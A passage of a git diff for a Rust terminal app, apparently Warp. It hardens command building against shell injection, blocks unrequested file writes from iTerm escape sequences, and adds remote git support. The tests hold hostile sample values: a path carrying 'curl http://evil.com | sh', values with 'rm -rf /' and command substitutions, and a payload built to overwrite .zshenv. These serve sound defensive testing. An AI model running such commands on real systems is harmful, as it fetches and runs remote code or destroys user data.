main, None, false) .await } - None => DiffStateModel::get_all_branches(&cwd, None, false).await, + None => DiffStateModel::get_all_branches(&target, None, false).await, }; // git for-each-ref only lists refs backed by actual commits, @@ -150,7 +151,7 @@ impl BranchPicker { // so the picker still has a usable entry. match branches { Ok(ref list) if list.is_empty() => { - if let Ok(current) = detect_current_branch(&cwd).await { + if let Ok(current) = detect_current_branch(&target).await { let trimmed = current.trim().to_string(); if !trimmed.is_empty() { return Ok(vec![(trimmed, true)]); diff --git a/app/src/terminal/input.rs b/app/src/terminal/input.rs index ec0a0e74552..3b9a589a6b1 100644 --- a/app/src/terminal/input.rs +++ b/app/src/terminal/input.rs @@ -81,6 +81,7 @@ use crate::terminal::input::suggestions_mode_model::{ use crate::terminal::input::terminal_message_bar::TerminalInputMessageBar; use crate::terminal::input::user_query::{UserQueryMenuEvent, UserQueryMenuView}; use crate::terminal::model::session::active_session::ActiveSession; +use crate::terminal::model::session::shell_quote_arg; use crate::terminal::package_installers::command_at_cursor_has_common_package_installer_prefix; use crate::terminal::prompt_render_helper::should_render_ps1_prompt; use crate::terminal::universal_developer_input::AtContextMenuDisabledReason; @@ -136,7 +137,7 @@ use crate::{ completer::SessionContext, context_chips::{ display::{PromptDisplay, PromptDisplayEvent}, - display_chip::DisplayChipConfig, + display_chip::{DisplayChipConfig, PromptChipShellCommand}, prompt_type::PromptType, }, debounce::debounce, @@ -903,6 +904,27 @@ impl CommandExecutionSource { } } +/// Renders a [`PromptChipShellCommand`] into a concrete shell command string, +/// quoting every interpolated argument for the given shell so chip values +/// (branch names, directories, node versions) can't inject shell syntax. +fn render_prompt_chip_shell_command( + command: &PromptChipShellCommand, + shell_type: ShellType, +) -> String { + match command { + PromptChipShellCommand::GitCheckout { branch_name } => { + format!("git checkout {}", shell_quote_arg(branch_name, shell_type)) + } + PromptChipShellCommand::ChangeDirectory { dir_name } => { + format!("cd {}", shell_quote_arg(dir_name, shell_type)) + } + PromptChipShellCommand::NvmUse { version } => { + format!("nvm use {}", shell_quote_arg(version, shell_type)) + } + PromptChipShellCommand::NvmInstallLatestNode => "nvm install node".to_string(), + } +} + #[derive(PartialEq, Eq, Copy, Clone)] pub enum HistoryUpMode { // Show prefixed results. @@ -4863,9 +4885,18 @@ impl Input { }); } PromptDisplayEvent::TryExecuteCommand(command) => { + let Some(shell_type) = self + .active_block_session_id() + .and_then(|session_id| self.sessions.as_ref(ctx).get(session_id)) + .map(|session| session.shell().shell_type()) + else { + log::warn!("Tried to execute prompt chip command without an active session"); + return; + }; + let command = render_prompt_chip_shell_command(command, shell_type); // Snapshot the current input so we can restore it after the command completes. let current_input = self.buffer_text(ctx); - if self.try_execute_command_from_source(command, CommandExecutionSource::User, ctx) + if self.try_execute_command_from_source(&command, CommandExecutionSource::User, ctx) { self.cancel_active_conversation(ctx, CancellationReason::UserCommandExecuted); if !current_input.is_empty() { diff --git a/app/src/terminal/input_test.rs b/app/src/terminal/input_test.rs index 8bbd4bf07e5..b6ec1e0bfe4 100644 --- a/app/src/terminal/input_test.rs +++ b/app/src/terminal/input_test.rs @@ -6996,3 +6996,74 @@ fn test_custom_terminal_page_scroll_binding_applies_when_prompt_is_focused() { }); }); } + +#[test] +fn renders_git_checkout_prompt_chip_command_as_single_shell_argument() { + let command = PromptChipShellCommand::GitCheckout { + branch_name: "poc;id>/tmp/proof $(whoami) `id` | cat 'tail'".to_string(), + }; + + assert_eq!( + render_prompt_chip_shell_command(&command, ShellType::Bash), + r#"git checkout 'poc;id>/tmp/proof $(whoami) `id` | cat '"'"'tail'"'"''"# + ); + assert_eq!( + render_prompt_chip_shell_command(&command, ShellType::Zsh), + r#"git checkout 'poc;id>/tmp/proof $(whoami) `id` | cat '"'"'tail'"'"''"# + ); + assert_eq!( + render_prompt_chip_shell_command(&command, ShellType::Fish), + r"git checkout 'poc;id>/tmp/proof $(whoami) `id` | cat \'tail\''" + ); + assert_eq!( + render_prompt_chip_shell_command(&command, ShellType::PowerShell), + "git checkout 'poc;id>/tmp/proof $(whoami) `id` | cat ''tail'''" + ); +} + +#[test] +fn renders_nvm_use_prompt_chip_command_as_single_shell_argument() { + let command = PromptChipShellCommand::NvmUse { + version: "v20.0.0;touch /tmp/pwn 'x'".to_string(), + }; + + assert_eq!( + render_prompt_chip_shell_command(&command, ShellType::Bash), + r#"nvm use 'v20.0.0;touch /tmp/pwn '"'"'x'"'"''"# + ); + assert_eq!( + render_prompt_chip_shell_command(&command, ShellType::Fish), + r"nvm use 'v20.0.0;touch /tmp/pwn \'x\''" + ); + assert_eq!( + render_prompt_chip_shell_command(&command, ShellType::PowerShell), + "nvm use 'v20.0.0;touch /tmp/pwn ''x'''" + ); +} + +#[test] +fn renders_change_directory_prompt_chip_command_as_single_shell_argument() { + let command = PromptChipShellCommand::ChangeDirectory { + dir_name: "repo dir;rm -rf / 'x'".to_string(), + }; + + assert_eq!( + render_prompt_chip_shell_command(&command, ShellType::Bash), + r#"cd 'repo dir;rm -rf / '"'"'x'"'"''"# + ); + assert_eq!( + render_prompt_chip_shell_command(&command, ShellType::PowerShell), + "cd 'repo dir;rm -rf / ''x'''" + ); +} + +#[test] +fn renders_fixed_prompt_chip_command_without_interpolation() { + assert_eq!( + render_prompt_chip_shell_command( + &PromptChipShellCommand::NvmInstallLatestNode, + ShellType::Bash, + ), + "nvm install node" + ); +} diff --git a/app/src/terminal/model/session.rs b/app/src/terminal/model/session.rs index 2f82e51f7c6..18b71541b8c 100644 --- a/app/src/terminal/model/session.rs +++ b/app/src/terminal/model/session.rs @@ -1367,9 +1367,10 @@ impl Session { .as_deref() .map(|path| HashMap::from_iter([("PATH".to_string(), path.to_string())])); + let command = Self::build_read_history_command(history_file, self.info.shell.shell_type()); let output_in_bytes = self .execute_command( - format!("cat {history_file}").as_str(), + command.as_str(), None, env_vars, ExecuteCommandOptions::default(), @@ -1394,6 +1395,16 @@ impl Session { } } + /// Builds the shell command that reads a remote history file's contents, + /// quoting the path so a malicious history-file path can't break out of the + /// quotes and inject shell commands. + fn build_read_history_command(history_file: &str, shell_type: ShellType) -> String { + format!( + "cat '{}'", + shell_escape_single_quotes(history_file, shell_type) + ) + } + pub async fn read_history(&self, is_kaspersky_running: bool) -> Vec { match self.info.session_type { BootstrapSessionType::Local => { diff --git a/app/src/terminal/model/session/command_executor.rs b/app/src/terminal/model/session/command_executor.rs index 4652b16ae91..f6289b2040b 100644 --- a/app/src/terminal/model/session/command_executor.rs +++ b/app/src/terminal/model/session/command_executor.rs @@ -37,7 +37,7 @@ pub use local_command_executor::LocalCommandExecutor; pub use noop_command_executor::NoOpCommandExecutor; #[cfg(feature = "local_tty")] pub use remote_command_executor::RemoteCommandExecutor; -pub use shared::{shell_escape_single_quotes, ExecutorCommandEvent}; +pub use shared::{shell_escape_single_quotes, shell_quote_arg, ExecutorCommandEvent}; #[derive(Copy, Clone, Debug)] pub struct ExecuteCommandOptions { diff --git a/app/src/terminal/model/session/command_executor/remote_command_executor.rs b/app/src/terminal/model/session/command_executor/remote_command_executor.rs index 0449d61774d..ecb1e4cb266 100644 --- a/app/src/terminal/model/session/command_executor/remote_command_executor.rs +++ b/app/src/terminal/model/session/command_executor/remote_command_executor.rs @@ -9,6 +9,7 @@ use itertools::Itertools as _; use crate::env_vars::{serialize_variables_for_shell, EnvVarValue}; use crate::terminal::shell::Shell; +use super::shared::shell_escape_single_quotes; use super::{CommandExecutor, CommandOutput, ExecuteCommandOptions}; /// `CommandExecutor` implementation that executes the given `command` in a forked process @@ -57,7 +58,11 @@ impl CommandExecutor for RemoteCommandExecutor { command_str.push(';'); } if let Some(current_directory_path) = current_directory_path { - command_str.push_str(&format!("cd '{current_directory_path}' && ")); + // Escape embedded single quotes from the remote host's serialized block so a + // malicious path can't break out of the quotes and inject shell commands. + let escaped_path = + shell_escape_single_quotes(current_directory_path, shell.shell_type()); + command_str.push_str(&format!("cd '{escaped_path}' && ")); } command_str.push_str(command); diff --git a/app/src/terminal/model/session/command_executor/shared.rs b/app/src/terminal/model/session/command_executor/shared.rs index 1887a801dc8..df20917612c 100644 --- a/app/src/terminal/model/session/command_executor/shared.rs +++ b/app/src/terminal/model/session/command_executor/shared.rs @@ -46,3 +46,16 @@ pub fn shell_escape_single_quotes(command: &str, shell_type: ShellType) -> Strin } } } + +/// Quotes a single shell argument so it is passed as data instead of being +/// interpreted as shell syntax. +/// +/// Use this for complete interpolated arguments in generated command strings, +/// not for fragments that intentionally contain operators, pipes, or flags. +pub fn shell_quote_arg(value: &str, shell_type: ShellType) -> String { + format!("'{}'", shell_escape_single_quotes(value, shell_type)) +} + +#[cfg(test)] +#[path = "shared_tests.rs"] +mod tests; diff --git a/app/src/terminal/model/session/command_executor/shared_tests.rs b/app/src/terminal/model/session/command_executor/shared_tests.rs new file mode 100644 index 00000000000..64cf78b7f2e --- /dev/null +++ b/app/src/terminal/model/session/command_executor/shared_tests.rs @@ -0,0 +1,78 @@ +use crate::terminal::shell::ShellType; + +use super::shell_escape_single_quotes; + +#[test] +fn no_quotes_returns_input_unchanged() { + for shell_type in [ + ShellType::Bash, + ShellType::Zsh, + ShellType::Fish, + ShellType::PowerShell, + ] { + assert_eq!( + shell_escape_single_quotes("/home/user/histfile", shell_type), + "/home/user/histfile" + ); + } +} + +#[test] +fn bash_escapes_single_quote_with_concatenation() { + let result = shell_escape_single_quotes("it's a test", ShellType::Bash); + assert_eq!(result, r#"it'"'"'s a test"#); +} + +#[test] +fn zsh_escapes_single_quote_with_concatenation() { + let result = shell_escape_single_quotes("it's a test", ShellType::Zsh); + assert_eq!(result, r#"it'"'"'s a test"#); +} + +#[test] +fn fish_escapes_single_quote_with_backslash() { + let result = shell_escape_single_quotes("it's a test", ShellType::Fish); + assert_eq!(result, r"it\'s a test"); +} + +#[test] +fn powershell_escapes_single_quote_by_doubling() { + let result = shell_escape_single_quotes("it's a test", ShellType::PowerShell); + assert_eq!(result, "it''s a test"); +} + +#[test] +fn multiple_single_quotes_all_escaped() { + let input = "/home/user/it's a 'path'"; + + let bash = shell_escape_single_quotes(input, ShellType::Bash); + assert_eq!(bash.matches(r#"'"'"'"#).count(), 3); + + let fish = shell_escape_single_quotes(input, ShellType::Fish); + assert_eq!(fish.matches(r"\'").count(), 3); + + let ps = shell_escape_single_quotes(input, ShellType::PowerShell); + assert_eq!(ps.matches("''").count(), 3); +} + +/// A path containing embedded single quotes that attempt to break out of a +/// surrounding single-quoted context (e.g. `cat '...'` or `cd '...'`). +/// Every shell type must neutralize the quotes so the injected commands +/// remain inert literal text. +#[test] +fn command_injection_via_embedded_quotes_is_neutralized() { + let malicious = "/tmp/foo'; curl http://evil.com | sh; echo '"; + + let bash = shell_escape_single_quotes(malicious, ShellType::Bash); + assert_eq!(bash.matches(r#"'"'"'"#).count(), 2); + assert!( + !bash.contains(r"\'"), + "bash escaping should not use backslash-quote" + ); + + let fish = shell_escape_single_quotes(malicious, ShellType::Fish); + assert_eq!(fish.matches(r"\'").count(), 2); + + let ps = shell_escape_single_quotes(malicious, ShellType::PowerShell); + assert_eq!(ps.matches("''").count(), 2); +} diff --git a/app/src/terminal/model/session_test.rs b/app/src/terminal/model/session_test.rs index 5a879e6f32f..109b29c3e0e 100644 --- a/app/src/terminal/model/session_test.rs +++ b/app/src/terminal/model/session_test.rs @@ -100,3 +100,38 @@ fn test_set_env_var_emits_no_event_when_no_change() { }); }); } + +mod read_history_command_quoting { + use super::super::Session; + use crate::terminal::shell::ShellType; + + #[test] + fn quotes_history_file_as_single_argument() { + let command = + Session::build_read_history_command("/home/user/.zsh_history", ShellType::Zsh); + assert_eq!(command, "cat '/home/user/.zsh_history'"); + } + + #[test] + fn neutralizes_embedded_quote_injection() { + // A malicious histfile path that tries to break out of the single-quoted + // `cat '...'` context and run an injected command must stay inert. + let command = Session::build_read_history_command( + "/tmp/x'; touch /tmp/warp-poc; echo '", + ShellType::Bash, + ); + assert_eq!( + command, + r#"cat '/tmp/x'"'"'; touch /tmp/warp-poc; echo '"'"''"# + ); + } + + #[test] + fn neutralizes_command_substitution() { + let command = Session::build_read_history_command( + "/tmp/x$(touch /tmp/warp-poc)`id`", + ShellType::Bash, + ); + assert_eq!(command, "cat '/tmp/x$(touch /tmp/warp-poc)`id`'"); + } +} diff --git a/app/src/terminal/model/terminal_model.rs b/app/src/terminal/model/terminal_model.rs index cae00e73b9a..a3243f5f890 100644 --- a/app/src/terminal/model/terminal_model.rs +++ b/app/src/terminal/model/terminal_model.rs @@ -63,8 +63,6 @@ use crate::terminal::shell::{ShellName, ShellType}; use crate::terminal::model::secrets::ObfuscateSecrets; use crate::terminal::shared_session::protocol::SessionSourceType; use warp_core::report_error; -#[cfg(not(target_family = "wasm"))] -use warpui::util::save_as_file; use crate::terminal::shared_session::protocol::{ AICommandMetadata, OrderedTerminalEventType, ParticipantId, @@ -3308,16 +3306,9 @@ impl ansi::Handler for TerminalModel { pending.data = decoded_bytes; if !pending.metadata.inline { - #[cfg(not(target_family = "wasm"))] - if let Some(cwd) = self - .active_block_metadata() - .current_working_directory() - .map(|cwd| cwd.to_string()) - { - let mut path = PathBuf::from(cwd); - path.push(pending.metadata.name); - let _ = save_as_file(&pending.data[..], path); - } + log::warn!( + "Ignoring non-inline iTerm file payload; automatic local file writes are disabled." + ); return; } diff --git a/app/src/terminal/model/terminal_model_test.rs b/app/src/terminal/model/terminal_model_test.rs index 06cb31bc2e3..86b53222a6c 100644 --- a/app/src/terminal/model/terminal_model_test.rs +++ b/app/src/terminal/model/terminal_model_test.rs @@ -12,6 +12,12 @@ use warp_terminal::model::ansi::ClearMode; use warpui::text::str_to_byte_vec; use warpui::text::SelectionType; +use std::fs; + +use base64::engine::general_purpose::STANDARD as BASE64; + +use crate::terminal::model::image_map::StoredImageMetadata; + /// Helper function to create a SerializedBlock with default values, /// including the new is_local field. fn create_default_serialized_block() -> SerializedBlock { @@ -931,3 +937,93 @@ fn test_synchronized_output_sharing_session_split_batch() { }; assert_eq!(bytes.as_slice(), b"after"); } + +fn iterm_file_osc(name: &str, inline: bool, payload: &[u8]) -> String { + let inline = if inline { "1" } else { "0" }; + format!( + "\x1b]1337;File=name={};inline={}:{}\x07", + base64::Engine::encode(&BASE64, name), + inline, + base64::Engine::encode(&BASE64, payload) + ) +} + +fn multipart_iterm_file_osc(name: &str, inline: bool, payload: &[u8]) -> Vec { + let inline = if inline { "1" } else { "0" }; + let encoded_payload = base64::Engine::encode(&BASE64, payload); + let midpoint = encoded_payload.len() / 2; + vec![ + format!( + "\x1b]1337;MultipartFile=name={};inline={}\x07", + base64::Engine::encode(&BASE64, name), + inline, + ), + format!("\x1b]1337;FilePart={}\x07", &encoded_payload[..midpoint]), + format!("\x1b]1337;FilePart={}\x07", &encoded_payload[midpoint..]), + "\x1b]1337;FileEnd\x07".to_owned(), + ] +} + +#[test] +fn ignores_non_inline_iterm_file_payload_without_overwriting_cwd_file() { + let temp_dir = tempfile::tempdir().unwrap(); + let target_path = temp_dir.path().join(".zshenv"); + let original_bytes = b"ORIGINAL=1\n"; + let attacker_bytes = b"touch /tmp/warp-pwned\n"; + fs::write(&target_path, original_bytes).unwrap(); + + let mut terminal = TerminalModel::mock(None, None); + terminal.precmd(PrecmdValue { + pwd: Some(temp_dir.path().to_string_lossy().to_string()), + ..Default::default() + }); + + let osc = iterm_file_osc(".zshenv", false, attacker_bytes); + terminal.process_bytes(osc.as_str()); + + assert_eq!(fs::read(&target_path).unwrap(), original_bytes); + assert!(terminal.image_id_to_metadata.is_empty()); +} + +#[test] +fn ignores_multipart_non_inline_iterm_file_payload_without_overwriting_cwd_file() { + let temp_dir = tempfile::tempdir().unwrap(); + let target_path = temp_dir.path().join(".zshenv"); + let original_bytes = b"ORIGINAL=1\n"; + let attacker_bytes = b"touch /tmp/warp-pwned\n"; + fs::write(&target_path, original_bytes).unwrap(); + + let mut terminal = TerminalModel::mock(None, None); + terminal.precmd(PrecmdValue { + pwd: Some(temp_dir.path().to_string_lossy().to_string()), + ..Default::default() + }); + + for osc in multipart_iterm_file_osc(".zshenv", false, attacker_bytes) { + terminal.process_bytes(osc.as_str()); + } + + assert_eq!(fs::read(&target_path).unwrap(), original_bytes); + assert!(terminal.image_id_to_metadata.is_empty()); +} + +#[test] +fn handles_inline_iterm_image_payload() { + let mut terminal = TerminalModel::mock(None, None); + let svg_bytes = + br#""#; + + let osc = iterm_file_osc("pixel.svg", true, svg_bytes); + terminal.process_bytes(osc.as_str()); + + assert_eq!(terminal.image_id_to_metadata.len(), 1); + let StoredImageMetadata::ITerm(metadata) = + terminal.image_id_to_metadata.values().next().unwrap() + else { + panic!("Expected iTerm image metadata"); + }; + assert_eq!(metadata.name, "pixel.svg"); + assert!(metadata.inline); + assert_eq!(metadata.image_size.x(), 1.0); + assert_eq!(metadata.image_size.y(), 1.0); +} diff --git a/app/src/terminal/view.rs b/app/src/terminal/view.rs index 131b1e78c55..fb10c0f839a 100644 --- a/app/src/terminal/view.rs +++ b/app/src/terminal/view.rs @@ -2639,6 +2639,13 @@ pub struct TerminalView { /// Path to the current repository, or None if not currently in a repo. current_repo_path: Option, + /// Repository root for a warpified remote (SSH) session, as `(host, root)`. + /// Populated by `git rev-parse --show-toplevel` over the remote server + /// client (the local-FS detection that drives `current_repo_path` cannot see + /// the remote working copy). `None` for local sessions and non-warpified SSH. + #[cfg(feature = "local_fs")] + current_remote_repo: Option<(warp_core::HostId, String)>, + /// The title of the terminal view to show when there is no selected conversation. terminal_title: String, @@ -2737,6 +2744,16 @@ impl TerminalView { self.current_repo_path.as_ref() } + /// Returns the `(host, repo root)` for a warpified remote session inside a + /// git repo, or `None` for local sessions / non-warpified SSH / cwd outside + /// any repo. The root is the remote-side path string (never a local FS path). + #[cfg(feature = "local_fs")] + pub fn current_remote_repo(&self) -> Option<(&warp_core::HostId, &str)> { + self.current_remote_repo + .as_ref() + .map(|(host, root)| (host, root.as_str())) + } + /// Create a SyncEvent for other terminals to use based on /// the state of this terminal. If this terminal view has an active input /// editor, other terminals should match those contents. @@ -3973,6 +3990,8 @@ impl TerminalView { block_completed_callbacks: Default::default(), conversation_completed_callbacks: Default::default(), current_repo_path: None, + #[cfg(feature = "local_fs")] + current_remote_repo: None, terminal_title: Default::default(), ignore_next_set_title_event: false, cli_subagent_views: Default::default(), @@ -5812,7 +5831,11 @@ impl TerminalView { let diff_mode_clone = diff_mode.clone(); let repo_path_clone = repo_path.clone(); let future = async move { - DiffStateModel::load_diff_data_for_mode(diff_mode_clone, repo_path_clone).await + DiffStateModel::load_diff_data_for_mode( + diff_mode_clone, + crate::util::git::GitExecTarget::local(repo_path_clone), + ) + .await }; ctx.spawn(future, move |_me, git_diff_data_opt, ctx| { @@ -10570,6 +10593,75 @@ impl TerminalView { } }); } + + // Remote (warpified SSH) repository detection. The + // local detection above runs against the local + // filesystem and cannot see the remote working copy, + // so resolve the remote repo root by running + // `git rev-parse --show-toplevel` over the remote + // server client. Mirrors the local path's + // `RepoChanged` emit so the code review panel + // re-initializes with the remote target. + { + use crate::remote_server::manager::RemoteServerManager; + let session_id = block_metadata_received_event + .block_metadata + .session_id(); + let remote = session_id.and_then(|sid| { + let mgr = RemoteServerManager::as_ref(ctx); + let client = mgr.client_for_session(sid)?.clone(); + let host_id = mgr.host_id_for_session(sid)?.clone(); + Some((sid, client, host_id)) + }); + match remote { + Some((session_id, client, host_id)) => { + // Skip the SSH round-trip when the new + // cwd is already inside the known repo on + // the same host (remote hosts are Unix, + // so "/" is the path separator). + let already_inside = self + .current_remote_repo + .as_ref() + .is_some_and(|(known_host, known_root)| { + known_host == &host_id + && (active_directory == known_root + || active_directory.starts_with( + &format!("{known_root}/"), + )) + }); + if !already_inside { + let target = crate::util::git::GitExecTarget::Remote { + client, + session_id, + repo_path: active_directory.to_string(), + }; + let fut = async move { + target + .run_git(&["rev-parse", "--show-toplevel"]) + .await + }; + ctx.spawn(fut, move |me, result, ctx| { + let new_remote = result + .ok() + .map(|root| root.trim().to_string()) + .filter(|root| !root.is_empty()) + .map(|root| (host_id.clone(), root)); + if me.current_remote_repo != new_remote { + me.current_remote_repo = new_remote; + ctx.emit(Event::Pane(PaneEvent::RepoChanged)); + } + }); + } + } + None => { + // Local or non-warpified session: drop any + // stale remote repo identity. + if self.current_remote_repo.take().is_some() { + ctx.emit(Event::Pane(PaneEvent::RepoChanged)); + } + } + } + } } } } diff --git a/app/src/uri/mod.rs b/app/src/uri/mod.rs index b4394d2f68b..9b7149d782a 100644 --- a/app/src/uri/mod.rs +++ b/app/src/uri/mod.rs @@ -669,12 +669,8 @@ impl Action { /// Handles all incoming urls, including file URLs and local app intents. pub fn handle_incoming_uri(url: &Url, ctx: &mut AppContext) { - // Non-dogfood builds must never log the full URL here: URLs routed to this - // handler can carry secrets in their query string. Log - // only the non-sensitive components (scheme, host, path) on release - // channels; dogfood builds retain the full URL for local debugging. safe_info!( - safe: ("received url {}", safe_url_log_fields(url)), + safe: ("received url"), full: ("received url {:?}", &url) ); @@ -1086,24 +1082,3 @@ fn validate_custom_uri(url: &Url) -> Result { Ok(host) } - -/// Formats the non-sensitive components of an incoming URL for logging on -/// release channels. -/// -/// The returned string contains only the URL's scheme, host, and path — never -/// its query string, fragment, or userinfo component. URLs that reach -/// [`handle_incoming_uri`] can carry secrets in their query, so this helper -/// exists to give [`safe_info!`] a redacted representation that -/// still preserves enough signal for triage. -/// -/// `url.host_str()` can return `None` for schemes that don't require a host -/// (e.g. some `file://` URLs on certain platforms); the literal `-` is used -/// as a placeholder in that case so the formatter never panics. -fn safe_url_log_fields(url: &Url) -> String { - format!( - "scheme={} host={} path={}", - url.scheme(), - url.host_str().unwrap_or("-"), - url.path(), - ) -} diff --git a/app/src/util/git.rs b/app/src/util/git.rs index 07b2c477059..b31e3f41238 100644 --- a/app/src/util/git.rs +++ b/app/src/util/git.rs @@ -1,12 +1,183 @@ use std::collections::HashSet; -use std::path::Path; +use std::path::{Path, PathBuf}; use anyhow::{anyhow, Result}; +#[cfg(feature = "local_fs")] +use std::collections::HashMap; +#[cfg(feature = "local_fs")] +use std::sync::Arc; + +#[cfg(feature = "local_fs")] +use crate::remote_server::client::RemoteServerClient; +#[cfg(feature = "local_fs")] +use warp_core::SessionId; + #[cfg(test)] #[path = "git_tests.rs"] mod tests; +/// Target a git command runs against: a local working copy (subprocess) or a +/// remote SSH session (commands shipped over the `remote_server` channel). +/// +/// This is the single transport-agnostic chokepoint for the code-review diff +/// engine. All diff/parse/format logic above it is string-based and identical +/// for both transports. The `Remote` arm only exists on desktop builds where +/// the remote client is available (`local_fs`, i.e. `not(target_family = +/// "wasm")`); the `Local` arm exists everywhere. +#[derive(Clone)] +pub enum GitExecTarget { + Local { + repo_path: PathBuf, + }, + #[cfg(feature = "local_fs")] + Remote { + client: Arc, + session_id: SessionId, + /// Remote repository root, rendered as a path string for the remote shell. + repo_path: String, + }, +} + +impl GitExecTarget { + /// Convenience constructor for a local target. + pub fn local(repo_path: PathBuf) -> Self { + Self::Local { repo_path } + } + + /// The local repository path, or `None` for a remote target. Used by the + /// few diff operations that touch the filesystem directly (e.g. counting + /// lines in untracked files) rather than shelling out to git. + pub fn local_repo_path(&self) -> Option<&Path> { + match self { + Self::Local { repo_path } => Some(repo_path.as_path()), + #[cfg(feature = "local_fs")] + Self::Remote { .. } => None, + } + } + + /// A stable path used to identify the repository this target points at. + /// For local targets this is the working-copy path; for remote targets it + /// is the remote root rendered as a `PathBuf` (used only for equality + /// checks, never the local filesystem). + pub fn identity_path(&self) -> PathBuf { + match self { + Self::Local { repo_path } => repo_path.clone(), + #[cfg(feature = "local_fs")] + Self::Remote { repo_path, .. } => PathBuf::from(repo_path), + } + } + + /// Runs `git ` against this target and returns stdout as a (lossy) + /// String. Identical contract to [`run_git_command`]: exit code 0 is ok, + /// exit code 1 with non-empty stdout is ok (diff "differences found"), + /// anything else is an error. + pub async fn run_git(&self, args: &[&str]) -> Result { + match self { + Self::Local { repo_path } => run_git_command(repo_path, args).await, + #[cfg(feature = "local_fs")] + Self::Remote { + client, + session_id, + repo_path, + } => run_git_remote(client, *session_id, repo_path, args).await, + } + } +} + +/// Builds the shell command string for a remote git invocation: +/// `git -c diff.autoRefreshIndex=false `. Each arg is +/// POSIX-shell-quoted so paths / branch names with spaces or special characters +/// survive transport to the remote shell intact. +#[cfg(feature = "local_fs")] +fn build_remote_git_command(args: &[&str]) -> String { + let mut cmd = String::from("git -c diff.autoRefreshIndex=false"); + for arg in args { + cmd.push(' '); + cmd.push_str(&shell_quote(arg)); + } + cmd +} + +/// Maps a remote `RunCommandSuccess` payload to the same `Result` +/// contract as the local subprocess path. Extracted as a pure function so the +/// exit-code / stdout rules can be unit-tested against canned bytes (binary +/// diff, `-z` null-delimited status) without a live client. +#[cfg(feature = "local_fs")] +fn map_remote_git_output(stdout: &[u8], stderr: &[u8], exit_code: Option) -> Result { + let stdout = String::from_utf8_lossy(stdout).to_string(); + // Mirror the local arm: exit 0 => ok; exit 1 with non-empty stdout => ok + // (git diff "differences found"); anything else (including death by signal, + // where exit_code is None) => error. + if exit_code == Some(0) || (exit_code == Some(1) && !stdout.is_empty()) { + Ok(stdout) + } else { + let stderr = String::from_utf8_lossy(stderr); + Err(anyhow!("Git command failed: {}, {}", stderr, stdout)) + } +} + +/// Runs a git command on the remote host via [`RemoteServerClient::run_command`]. +/// `working_directory` replaces a local `cd`, and `GIT_OPTIONAL_LOCKS=0` is +/// passed through the environment map to match the local arm. +#[cfg(feature = "local_fs")] +async fn run_git_remote( + client: &RemoteServerClient, + session_id: SessionId, + repo_path: &str, + args: &[&str], +) -> Result { + use crate::remote_server::proto::run_command_response; + + let command = build_remote_git_command(args); + log::debug!("[GIT OPERATION] git.rs run_git_remote {command}"); + + let mut env = HashMap::new(); + env.insert("GIT_OPTIONAL_LOCKS".to_string(), "0".to_string()); + + let response = client + .run_command(session_id, command, Some(repo_path.to_string()), env) + .await + .map_err(|e| anyhow!("Failed to execute remote git command: {e}"))?; + + match response.result { + Some(run_command_response::Result::Success(success)) => { + map_remote_git_output(&success.stdout, &success.stderr, success.exit_code) + } + Some(run_command_response::Result::Error(err)) => { + Err(anyhow!("Remote git command error: {}", err.message)) + } + None => Err(anyhow!("Remote git command returned an empty response")), + } +} + +/// POSIX single-quote escaping for one shell argument. An argument made up +/// entirely of "safe" characters is passed through unquoted; everything else +/// (spaces, `--`-prefixed args containing specials, unicode, etc.) is wrapped +/// in single quotes with embedded `'` replaced by the `'\''` sequence. +#[cfg(feature = "local_fs")] +fn shell_quote(arg: &str) -> String { + fn is_safe(b: u8) -> bool { + matches!(b, + b'a'..=b'z' | b'A'..=b'Z' | b'0'..=b'9' + | b'-' | b'_' | b'/' | b'.' | b',' | b'=' | b':' | b'@' | b'+' | b'%') + } + if !arg.is_empty() && arg.bytes().all(is_safe) { + return arg.to_string(); + } + let mut out = String::with_capacity(arg.len() + 2); + out.push('\''); + for ch in arg.chars() { + if ch == '\'' { + out.push_str("'\\''"); + } else { + out.push(ch); + } + } + out.push('\''); + out +} + /// Runs a git command and returns the output as a string. /// Thin wrapper over [`run_git_command_with_env`] with no `PATH` override. #[cfg(feature = "local_fs")] @@ -103,22 +274,15 @@ pub fn list_local_branches_sync(_repo_path: &Path) -> HashSet { HashSet::new() } -/// Fetches the current git branch. -#[cfg(not(feature = "local_fs"))] -pub async fn detect_current_branch(_repo_path: &Path) -> Result { - Err(anyhow!("Not supported without local_fs")) -} - /// Fetches the current git branch. /// In detached HEAD state this returns the literal string "HEAD". -#[cfg(feature = "local_fs")] -pub async fn detect_current_branch(repo_path: &Path) -> Result { +pub async fn detect_current_branch(target: &GitExecTarget) -> Result { log::debug!("[GIT OPERATION] git.rs detect_current_branch git rev-parse --abbrev-ref HEAD"); - let result = run_git_command(repo_path, &["rev-parse", "--abbrev-ref", "HEAD"]).await; + let result = target.run_git(&["rev-parse", "--abbrev-ref", "HEAD"]).await; if result.is_err() { log::debug!("[GIT OPERATION] git.rs detect_current_branch git branch --show-current"); - run_git_command(repo_path, &["branch", "--show-current"]).await + target.run_git(&["branch", "--show-current"]).await } else { result } @@ -130,7 +294,7 @@ pub async fn detect_current_branch(repo_path: &Path) -> Result { /// (Matches the shell command `git symbolic-ref --short HEAD || git rev-parse --short HEAD`.) #[cfg(feature = "local_fs")] pub async fn detect_current_branch_display(repo_path: &Path) -> Result { - let branch = detect_current_branch(repo_path).await?; + let branch = detect_current_branch(&GitExecTarget::local(repo_path.to_path_buf())).await?; if branch == "HEAD" { run_git_command(repo_path, &["rev-parse", "--short", "HEAD"]) .await @@ -146,19 +310,12 @@ pub async fn detect_current_branch_display(_repo_path: &Path) -> Result } /// Detects the main branch using git-branchless style heuristics. -#[cfg(not(feature = "local_fs"))] -pub async fn detect_main_branch(_repo_path: &Path) -> Result { - Err(anyhow!("Not supported without local_fs")) -} - -/// Detects the main branch using git-branchless style heuristics. -#[cfg(feature = "local_fs")] -pub async fn detect_main_branch(repo_path: &Path) -> Result { +pub async fn detect_main_branch(target: &GitExecTarget) -> Result { // First try to get the default branch from origin log::debug!( "[GIT OPERATION] git.rs detect_main_branch git symbolic-ref refs/remotes/origin/HEAD" ); - match run_git_command(repo_path, &["symbolic-ref", "refs/remotes/origin/HEAD"]).await { + match target.run_git(&["symbolic-ref", "refs/remotes/origin/HEAD"]).await { Ok(output) => { let branch_ref = output.trim(); if let Some(branch_name) = branch_ref.strip_prefix("refs/remotes/") { @@ -177,11 +334,9 @@ pub async fn detect_main_branch(repo_path: &Path) -> Result { log::debug!( "[GIT OPERATION] git.rs detect_main_branch git rev-parse --verify {candidate}^{{}}" ); - let result = run_git_command( - repo_path, - &["rev-parse", "--verify", 